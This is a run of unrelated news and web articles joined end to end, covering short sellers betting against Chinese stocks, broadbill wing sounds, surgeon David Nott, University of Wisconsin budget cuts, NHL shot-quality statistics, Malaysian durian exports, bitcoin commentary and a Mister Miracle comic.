He has written on a series of Chinese stocks that have blown up: Universal Travel Group, China Agritech, Longtop Financial Technologies, and China Media Express. His latest target is Hollysys Automation Technologies, which hit a 52-week low on Thursday.
On a recent holiday at a Thai beach resort, Hempton says he took along the accounts of financial software company Longtop Financial - which is now in the process of being delisted from the New York Stock Exchange - instead of a novel.
“I spent a very enjoyable week on the beach, drinking pina coladas and reading Longtop’s accounts.”
He wouldn’t provide data on the size of gains or losses.
Hempton often wakes around 5:30 a.m. local time to catch the New York market close. In the summer he’s often surfing or hiking during the day.
Bronte Capital holds short positions in about 50 names, a mixture of shares from China and elsewhere.
“Do we do this, that is, shorting Chinese stocks, all the time? No. But here we have seen a bundle of names with a market cap in the $300 million to $400 million range. There were so many of them, stupid frauds that were easy to see,” Hempton said.
JOHN BIRD: AGE: 62 LOCATION: MANOR, TEXAS WEBSITE: www.waldomushman.com
John Bird does not speak Chinese, has never been to China and expresses little interest in going. Instead, he makes his bets against Chinese small-cap stocks from his 130-acre home in the Texas countryside outside of Austin where he lives with his wife of nearly 40 years and a dozen Arabian horses.
Despite his lack of direct knowledge of China, Bird is confident there is widespread fraud, and said recently that for those shorting Chinese stocks, “this is harvest time”.
A little under a third of Bird’s active portfolio is in short positions. He said he began shorting Chinese stocks in 2009 after seeing a note from veteran short seller Manuel Asensio saying that drugs company China Sky One Medical Inc might have problems.
China Sky, which he started to look at in spring 2009, is one of his most notable positions. He has sued the company’s auditor for not acting on information that China Sky’s financials might contain errors.
“It’s not a matter of whether they are fraudulent companies, it’s just a matter of who they are cheating,” Bird told a conference in June. As a joke, he passed out a children’s’ toy - a Chinese finger trap — to everyone in the audience. The trick of the toy is that it’s easy to put your fingers into the trap’s woven cylinder but it’s much more difficult to pull them out.
Bird is long on some oil, gas and pipeline stocks but said he never goes long on Chinese companies. At 62, the white-haired investor has had years of financial experience - and his share of flops.
Public filings show several state tax liens and state tax lien releases against properties Bird owned in Texas. He describes the liens as “collateral damage” to his mid-1980s bankruptcy that came about because of a property bust.
Bird declines to describe the nature of the businesses he was associated with. Public records show companies with names like “Wishlist”, “Magnetic Clone” and “Golden Fried Chicken of America”. He says he was a “junior league venture capitalist” who gave money to people with good ideas.
Bird and other investors have been urging the SEC to compare reports filed with the SEC in the U.S. with those filed with the State Administration for Industry & Commerce in China. Bird says discrepancies in these documents are a good place to start looking for trouble.
Bird says he currently has about 30 short positions worth around $10 million targeting Chinese stocks. Those have recently included Harbin Electric Inc, China-Biotics Inc and Deer Consumer Products Inc.
He, too, says he gets threats via e-mail and message boards. “You get a little bit thick-skinned,” he says.
While Bird says he is in touch with other short sellers, he denies they work together. “The idea of trying to picture us as a cabal is crazy,” he said. “The short sellers end up trading notes, but we are all independently running our own money, because quite honestly we don’t trust anybody else, including other short sellers — in particular other short sellers.”
ANDREW LEFT AGE: 41 LOCATION: BEVERLY HILLS, CALIFORNIA WEBSITE: www.citronresearch.com
Andrew Left has come a long way from a shuttered Florida-based commodities brokerage to making waves and money highlighting accounting inconsistencies at Chinese companies with listings in the U.S.
Left was broke and living with his family after college and answered an ad offering the chance to make $100,000 a year for a commodities brokerage called Universal Commodity Corp.
“They give you a phone and a script and some lead cards...and I’m like ‘Really?’” he said. “I didn’t know what a boiler room was when I was 23,” he said, using the term for a high-pressure brokerage firm where salespeople cold call individuals and push questionable investments.
Left departed after 9 months, in March 1994. The Florida firm was cited in December 1995 by the National Futures Association for failure to supervise employees engaged in fraudulent practices. Left was sanctioned by the NFA as part of a wider probe into the firm. The firm was closed down in December 2008 after another infraction, the NFA says.
Left devoted himself to the late 1990s IPO boom, later switching to shorting the stocks at a friend’s suggestion. “It was like a friggin’ light bulb went off in my head,” he said.
About 10 years ago he started writing about his research on a website called Stocklemon, later renamed Citron Research.
“Pretty much the main theme of Citron is to encourage investors to use their brains. Don’t listen to an analyst all the time. Don’t listen to the company. Does it make sense to you? Do your homework. And that is pretty much it,” he said.
Left says he does not sell his research nor work for a hedge fund. He describes himself as an independent investor, not just a short-seller.
He’s written about Chinese reverse takeover stocks for the last four years, though he’s never been to China except for a couple of days in Hong Kong a decade ago.
“Lately the action has been in China. Two years from now I doubt I’ll be writing about Chinese stocks anymore,” he said.
In the meantime, he’s hired a Chinese-speaking finance PhD. student from UCLA, to translate, read documents and make phone calls. He also hires investigators in China.
Of his Chinese positions, his biggest loser was New Oriental Education. “I wrote about it, shorted it and realized I was wrong, so I got out very quickly. It is up 100 percent since then,” he said.
Left, who grew up in a Detroit suburb, won’t discuss his net worth, saying only that he lives “in a nice house” in Beverly Hills.
Dressed in grey golf pants, white shirt and sockless sneakers, Left was recently in New York meeting hedge funds to talk about how they missed the dubious business practices at these U.S.-listed Chinese companies.
On the China-related shares, he published on a number of companies, including China-Biotics, China MediaExpress Holdings, Deer Consumer Products, Longtop Financial Technologies and Harbin Electric.
Harbin was hit after his reports on the viability of a loan agreement for a pending buyout. Shares recovered following his report, yet it still trades well below the $24 buyout offer price. He hasn’t backed away from his position on Harbin, he said.
He says his best trade wasn’t a short position and had nothing to do with China. At the depths of the market downturn in April 2009 he went long U.S. banks.
“It was the end of the world and I decided to take my daughter to Disneyland... The world was going to hell on CNBC and I’m waiting on line, not even for a ride,” he said.
Seeing how crowded Disney was convinced him the economy wasn’t so terrible. He returned home and covered his short bets, then went long by shorting the ProShares UltraShort Financials ETF— a leveraged short play on financial stocks.
“(I) loaded up on things like that and just held on. Thank you Disneyland!”
To watch an interview with Andrew Left: link.reuters.com/veg59r
RICK PEARSON AGE: 39 LOCATION: BEIJING, CHINA WEBSITE: Columns for TheStreet.com here
Rick Pearson is one China specialist who actually knows the country: He studied finance and Mandarin at the University of Southern California and began traveling to China in the early 1990s, spending six years there all told.
He says he his familiarity with the country has been a double-edged sword: It helped him gain access to factories and management, but the closeness may have made him too credulous.
The former Deutsche Bank convertible bonds banker, who is currently living in Beijing, says he lost a lot of money on long positions in Chinese stocks. He won’t say exactly how much, but described his long position in Orient Paper Inc as particularly “painful.”
He was long when Muddy Waters released a report on the company. He then bought more shares because he thought the report was wrong only to see the stock plunge further.
After that experience, Pearson grew more critical of Chinese companies and disclosed short positions in China-Biotics, China ShenZhou Mining, Gulf Resources, Harbin Electric and Longtop Financial in an occasional column he writes for TheStreet.com.
Pearson said in June he began to realize that some Chinese stocks were “a giant Ponzi scheme.”
Still, Pearson resists being grouped with other shorts, arguing he would rather be long Chinese stocks and expressing concern that the moniker will impede his access in China.
He says he thinks the China small-cap short trade may be close to an end as a viable strategy. “There’s too many stocks whose share prices are already too low. There’s too many stocks that have already been attacked by people. In my opinion it doesn’t necessarily make a lot of sense to go shorting a $3 stock.”
Slideshow (2 Images)
Pearson recently got out of all of his investments - he had some long positions in Chinese Internet stocks - because of concerns about the U.S. debt ceiling debate.
His intelligence-gathering methods are varied: taking people for coffee or karaoke, ferreting out executives’ cell phone numbers, contacting sales representatives through Chinese e-commerce site Alibaba, and coming back to visit factories at unscheduled times. Pearson also counts employees and the number of vehicles in parking lots, looks at the age and condition of factory equipment and contacts customers and checks information in SEC filings with a company’s China staff.
Pearson said he does not work with other investors, but he does occasionally keep in touch. One of the things that he says he learned from Texas-based short seller John Bird is the importance of filings with the Chinese authorities. When Pearson showed up to meet Bird for what he said was the first time in Los Angeles in June, he came wearing a T-shirt that stated, “John Bird was right.”Researchers Document How Broadbills Make Loud Wing Song
UC Riverside-led study focused on elusive bird found in remote regions in Africa
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RIVERSIDE, Calif. — Broadbills — birds found in some parts of Africa — produce a startlingly loud sound that they make with their wings to mark off territory. Males fly abruptly in a tight circle, landing where they began, and produce a klaxon-like sound — brreeeeet! — that they could also be using to attract females. Researchers have hypothesized that it is the outermost wing feathers that make the sound, but no studies have been conducted to verify this hypothesis.
A team of researchers led by a biologist at the University of California, Riverside has now conducted a study that shows that it is not the outermost wing feathers but the ones just inside of these feathers that make the klaxon-like sound.
“We got high-speed videos of these birds in Uganda to see how they flap their wings,” said Christopher J. Clark, an assistant professor of biology who led the study. “We then tested the feathers in a wind tunnel to reproduce the sound. We found that it is not the outermost three wing feathers that flutter, but two feathers just inside of these outermost ones.”
Study results appear in the March 30 issue of the Journal of Experimental Biology.
When a person walks down a hallway, his/her footsteps make a sound that could be used to communicate a message, such as who the person is. One possibility, according to Clark, is that when birds, like broadbills, are engaged in their behavioral displays, they make sounds with their feathers that eventually get coopted into a communication signal.
“What’s interesting is that broadbills are only distantly related to other birds, like hummingbirds, that use their feathers to make sounds,” Clark said. “In the case of broadbills, this is an independent evolution of making sounds with feathers. The wing song appears to have functionally replaced vocal song.”
Broadbills are poorly studied largely because they are found only in remote areas in Africa. To capture footage of the birds, Clark and his team flew to Uganda, where, escorted by an armed park guard, they had to drive over bumpy dirt roads for several hours to get to remote regions near the country’s border with the Democratic Republic of Congo – an area visited by very few people.
“We had to load high-speed cameras with heavy battery belts and haul them out into the jungle,” Clark said. “Such cameras also need a lot of light to work. Broadbills, however, live in the dark understory of jungles in Africa — which posed yet another challenge.”
In most species of birds that use their feathers to make sounds, the feathers are distinctly modified. But the high-speed videos Clark and his team took in Uganda showed that the sound-producing feathers in broadbills are not modified.
“These feathers, named P6 and P7, are not narrow, twisted or stiffened in any way,” Clark said. “Indeed, there is nothing remarkable about their shape and nothing about them betrays their role. The broadbill is using its wings as an instrument, yet when we look at the wing feathers, there is no obvious modification to the feathers to make them into a musical instrument.”
The male broadbill is a brown bird, about five inches tall, and weighs about 30 grams. When it does its display, a white patch on its rump becomes visible. It usually initiates this display by jumping and rotating 180 degree in yaw. The klaxon-like sound that males make lasts about a second and can travel more than 100 meters in the jungle. The synchronized high-speed video and sound recordings of displays in the field that Clark and his colleagues took showed that the P6 and P7 feathers, the primary sound-producing feathers, flutter a thousand times per second to make the sound. The sound pulses are produced during the downstroke. Feathers P5 and P8 may be involved in sound production; P9 and P10 are not.
Birds have evolved to make sounds with their wings or tails at least 69 times across the entire bird clade, Clark explained.
“This is certain to be an underestimate,” he said. “This is because many sounds are poorly described. Also, it is hard to tell if a sound being produced is for communication or just an incidental byproduct of flight. We know that all birds make sounds when they fly. In some cases, the sound is distinctive. For example, ducks make a whistling sound when they fly. It is not easy to tell, however, if this is communication by them or just a byproduct of them flapping their wings.”
Clark collected field data for the study when he was a postdoc at Yale University. He was joined in the study by Alexander N. G. Kirschel and Louis Hadjioannou at the University of Cyprus; and Richard P. Prum at Yale University, Conn.
All four researchers traveled to Uganda in 2011 to get the initial high speed videos and sound recordings. At Yale, Clark did experiments with broadbill feathers in a wind tunnel and collected the data. He joined UC Riverside in 2013.
“This work helps us understand biodiversity,” he said. “Animals live their lives in many extraordinary ways. This work uncovers yet another pocket of diversity.”
Clark was funded for the study by the National Science Foundation.
Archived under: Science/Technology, Africa, biodiversity, birds, Christopher Clark, College of Natural and Agricultural Sciences, Department of Biology, high-speed camera, hummingbird, National Science Foundation, press release, sound, wind tunnel
Top of PageKirsty Young's castaway is the surgeon, David Nott.
He works across three London hospitals performing general, vascular, trauma & reconstructive surgery. In addition, for the past two decades, he's spent several weeks every year working in conflict zones around the world for Médecins Sans Frontières (MSF) and the International Committee of the Red Cross (ICRC).
Born in Carmarthen, Wales, he was brought up by his grandparents until he was four while his parents finished their training - his Welsh mother became a nurse, his Indo-Burmese father an orthopaedic surgeon. He studied medicine at St Andrews University and completed his medical and surgical training in Manchester and Liverpool before becoming a consultant general and vascular surgeon working in London.
He first volunteered to go into a war zone in 1993 when he travelled to Sarajevo. Since then he has worked in Iraq, Afghanistan, Sierra Leone, Liberia, Ivory Coast, Chad, Haiti, Yemen, Nepa, Gaza and Syria. In 2016 he and his wife, Elly, set up the David Nott Foundation, a charity which funds the training of local doctors to work in conflict zones and hostile environments.
Producer: Cathy Drysdale.By of the
University of Wisconsin System President Ray Cross unexpectedly pulled the plug on plans for chancellors to describe the consequences, campus-by-campus, of $250 million in biennial state funding cuts during a Board of Regents meeting in Green Bay on Thursday.
The chancellors had prepared presentations and even had a dress rehearsal with Cross last Friday. But Cross stopped the rehearsal before it was finished and has opted instead to have each campus provide a one-page written summary to the regents.
Cross told the Milwaukee Journal Sentinel that it was too difficult for chancellors to summarize their handling of budget cuts in five minutes, and that he was concerned about how to most effectively present the information to the public.
Cross said he made the decision after consulting with regents leadership, which includes President Regina Millner and Vice President John Behling.
"We were not confident this was the right thing to do, which is one of the reasons we had a dress rehearsal," Cross said. "As we got closer to the end (of the dress rehearsal), we realized we can't do this in three to five minutes — it's not enough time."
There likely also was some fear about the implications of one campus leader after another lining up to talk about how cuts affect staff and students. Cross acknowledged he was concerned the UW System would be criticized again for "exaggerating or being overly dramatic" about the 2015-'17 cuts — a charge Republican leaders leveled against at least a few of the chancellors last summer.
It's no secret Cross and other UW System leaders are gun-shy about how they are perceived, especially after being told they have to find ways to be more efficient and accept tighter state funding because it isn't likely to change much.
It's also worth noting that the system is just months away from preparing its next request for state funding, for the biennium beginning July 1, 2017.
"We're trying to reveal this was a significant cut to deal with, and the chancellors are really handling this well," Cross said, describing how he wanted the message to be framed. "Take a $250 million cut and handle that very well on top of previous cuts. There's a lot of positive things."
On the other hand, there is widespread concern that if the UW System downplays the impact of the cuts in this biennium, it could be that much easier for the Legislature to freeze resident undergraduate tuition for another two years, and add on another round of cuts.
Regent Chuck Pruitt told the Journal Sentinel he regretted the missed opportunity to hear from chancellors.
"I have long believed that it is critical that the Board of Regents offer a forum for public discussion about issues like the implications of deep budget cuts and multiyear tuition freezes on the quality of education on our campuses," said Pruitt, whose seven-year term ends after this week's regents meeting. "No group of individuals better understands those consequences than the chancellors who lead our campuses and deal with these issues every day."
Democratic lawmakers caught wind of the cancellation of the presentations and accused Republican leaders of working behind the scenes to quash them.
"If the governor doesn't want stories in the news about him slashing UW System funding, maybe he should stop slashing UW System funding," said Rep. Chris Taylor (D-Madison), one of the Democrats on the Joint Committee on Finance who signed a letter sent to the regents on Wednesday.
Gov. Scott Walker's office could not be reached for comment.A few weeks back, I looked into the scoring chance tracking done at War on Ice, comparing scoring chance rates to shot attempt rates for individual players.
Now, for more of a macro look at team-level results, comparing goals for and against, scoring chances for and against, and shot attempts for and against to see if it's possible to get a better grasp on the ever-elusive shot quality.
I've compiled some ratios, looking at goals, scoring chances and shot attempts, using colour scales to help identify outliers.
(All measures during 5-on-5 play)
(G - Goals, SA - Shot Attempts, SC - Scoring Chances)
When it comes to goals per shot attempts, it's not a surprise to see non-playoff teams languishing near the bottom, but San Jose, Los Angeles and Boston are also at the bottom of the range. Given that L.A. and Boston are in the Top 10 of shot attempt differential, the low-percentage finishing has an impact on their offensive production.
On goals per scoring chance, the Rangers, Predators, Blues, Avalanche and Panthers are getting goals at the highest rate per scoring chance, but that could reveal a little something about their respective attacks. Nashville, for example, has 22 even-strength goals from their defencemen, while Carolina has seven. Given the qualifications for scoring chances, teams that get more goals from the point could have a higher percentage of "non-scoring chances" that ultimately result in goals. Otherwise, San Jose, Los Angeles and Boston remain in the lower tier, not taking advantage of opportunities.
As for scoring chances per shot attempt, the Tampa Bay Lightning are far and away the leaders in percentage of shot attempts that count as scoring chances. That offers some support for converting the highest percentage of 5-on-5 shot attempts into goals and backs them up as the league's highest-scoring team. They're high-percentage finishers, but not outrageously so and the quality of opportunities suggest that they should score on a relatively high percentage of shot attempts.
Notably, both Dallas and Toronto ranked highly in terms of goals per shot attempt and scoring chances per shot attempt. The Stars are one of the highest-scoring teams in the league and the Maple Leafs were before their pre-All-Star drought.
At the bottom of scoring chances per shot attempt chart sits the Florida Panthers, which is interesting because of the juxtaposition. The Panthers are one of the league's lowest-scoring teams but, as noted above, they actually finish on a relatively high percentage of their scoring chances, rare as they may be.
That's the offensive side. How does it look in terms of goals, scoring chances and shot attempts allowed?
Defensively, Nashville, Montreal, Calgary, Winnipeg and the Rangers allow the lowest percentage of goals per shot attempt. Certainly something to be said for quality goaltending.
But if good goaltending can save teams, the opposite is true at the bottom end of the chart. Minnesota, Edmonton, Arizona, Columbus and Dallas are allowing the most goals per shot attempt during 5-on-5 play. For the most part, those teams have had poor goaltending this year. Minnesota and Edmonton stand out, in the wrong way because they are middle of the road in terms of scoring chances allowed, but goals per scoring chance and goals per shot attempts are right at the bottom.
Let's not attribute all of this to goaltending, though, because part of this exercise is to look at shot quality, at least in terms of recorded scoring chances.
The teams allowing the lowest goals-per-scoring chance aren't especially surprising. Nashville, led by Pekka Rinne, and Montreal, led by Carey Price, are 1-2 again, with Colorado, Winnipeg and St. Louis rounding out the Top Five. The contributions of rookies Calvin Pickard, in Colorado, and Michael Hutchinson, in Winnipeg, have been positive in relatively limited playing time.
Most of the teams allowing more goals per scoring chance are teams that have allowed a lot of goals overall but, again, the Florida Panthers stand out. The Panthers have a middle-of-the-road defensive record this season, allowing 2.64 goals per game (tied for 16th) and 30.3 shots per game (20th), but they are among the worst in terms of goals-per -scoring-chance-allowed ratio.
What makes this fascinating is that the Panthers also happen to surrender the lowest percentage of scoring chances per shot attempt. If we combine this with the offensive findings, it appears that the Panthers are somewhat fortunate despite few scoring opportunities, while they are a legitimately strong defensive team that is, unfortunately, surrendering goals on a high percentage of the relatively few scoring chances that they do allow.
Which brings us to the Toronto Maple Leafs, the team that is far-and-away allowing the highest percentage of scoring chances per shot attempt. While Florida, Nashville, the New York Rangers, Anaheim and Ottawa are allowing the lowest percentage of scoring chances, relative to shot attempts, the Leafs are in a class of their own at the bottom behind Tampa Bay, Carolina and the New York Islanders.
This is where trouble comes home to roost for the Leafs, though. Not only do they allow a high-percentage of scoring chances -- that's bad enough -- but they also allow more shot attempts than any non-Buffalo-Sabres entry. A poor shot attempt differential is one thing, and important in its own right, but getting further burned on shot quality is utterly crushing.
Much of the data included comes from www.war-on-ice.com.
Scott Cullen can be reached at [email protected] in a row: The Musang King durians taking pride of place on the shelf.
KUALA LUMPUR, Feb 5 — Malaysia’s famed exotic delicacy — Musang King durian — will be available in the UK soon.
A report in a UK daily newspaper, The Independent, regarded the Musang King durian as the “king of fruits” because it was said to be far larger and more fragrant than the Thai variety, now available in Chinese supermarkets in the UK.
Stanley Harper, spokesman for a UK-based Malaysian Kitchen programme, said although durian had been available in the UK for a couple of years, they were only the smaller Thai variety.
“The Malaysian durian is a lot better, it’s the best place to get hold of them,” he told The Independent.
“It’s much more fragrant and available in a lot bigger sizes as well.”
1Malaysia Musang King durian orchard owner Michael Ng said Malaysian durians were rarely exported to the UK owing to low demand.
“Should the demand grow in the UK, it will be a boost to local durian exporters,” said Ng, whose orchard is in Bentong, Pahang.
Another durian orchard owner, Jimmy Loke, said it was a risky investment because the demand from the UK was uncertain.
However, Loke said society today was into exploring exotic food, which added to Malaysia’s
tourism industry.
The orchard owners estimate the prices (if exported) would range from seasonal prices of RM80 to RM100/kg.These days, it seems that the peer-to-peer decentralized virtual currency bitcoin needs a shot in the arm because the negative publicity it has garnered over the past month or two. Enter: Sir Richard Branson.
Branson, a billionaire entrepreneur who made headlines late last year after announcing Virgin Galactic would accept bitcoins for space flight, reaffirmed his commitment to the digital currency by calling it “the pioneer of a global currency.”
Speaking in an interview in the April issue of Delta’s SKY Magazine, Branson briefly touched upon the cryptocurrency and labeled its creator as “a genius” for producing bitcoins and creating a technological breakthrough. He did concede, though, that there are some flaws in it, including transparency and that nobody knows who Satoshi Nakamoto is.
“It may not be the perfect global currency of the future yet, but it’s the pioneer of a global currency,” stated Branson.
Is bitcoin the future of global currency or will somebody else establish something better?
Echoing earlier sentiments from other investors and entrepreneurs, Branson argued that the future will likely bring about a successful digital payments method with transparency, such as Jack Dorsey, co-founder of Twitter, and his Square firm, a company that specializes in making credit and debit card transactions simpler.
“He’s the kind that’s more likely to come up with the currency of the future that would be completely transparent,” Branson noted. “Maybe using the Virgin Money brand.”
This isn’t the first time that a prominent individual has espoused the possibility of a virtual currency of the future that would perhaps the correct the past mistakes of bitcoin, litecoin and other cryptocurrencies dominating the marketplace today.
Aside from the debate as whether to classify bitcoin as a currency or innovative electronic payment tool, finance and tech experts have speculated that there will inevitably be a successor to bitcoin.
Microsoft co-founder Bill Gates responded to questions on Reddit in February and projected that the digital currency industry could soar within the next five years and could very well revolutionize the banking system. However, he did not cite bitcoin as being the only tool to perform that function.
“The foundation is involved in digital money but unlike Bitcoin it would not be anonymous digital money. In Kenya M-pesa is being used for almost half of all transactions,” wrote Gates.
“Digital money has low transaction costs which is great for the poor because they need to do financial transactions with small amounts of money. Over the next 5 years I think digital money will catch on in India and parts of Africa and help the poorest a lot.”
We even reported in March that some believe central banks will enter the virtual currency market. Many believe this will transpire because the industry has become both “persuasive and credible” within the past year.
“It’s fair to point out that even with today’s very low interest rates, there’s something very attractive about having your own currency and, basically, those bills that we carry around with us don’t pay any interest at all,” said Peter Warburton, director of U.K.-based Economic Perspectives, an economic consulting firm, in an interview with Newsmax. “It’s free money for the issuing body and so this is a privilege that central banks want to hang on to.”
Whether or not bitcoin will go the way of MySpace or persist as being as dominant as Facebook remains to be seen. Whatever the case, bitcoin will likely be placed in the history books as an important innovation in technology.Mister Miracle #1 is written by Tom King (Batman Rebirth, The Vision, Omega Men), art by Mitch Gerads (Sheriff of Babylon), and published by DC Comics. This is book retails for $3.99 and is book one of a twelve part story.
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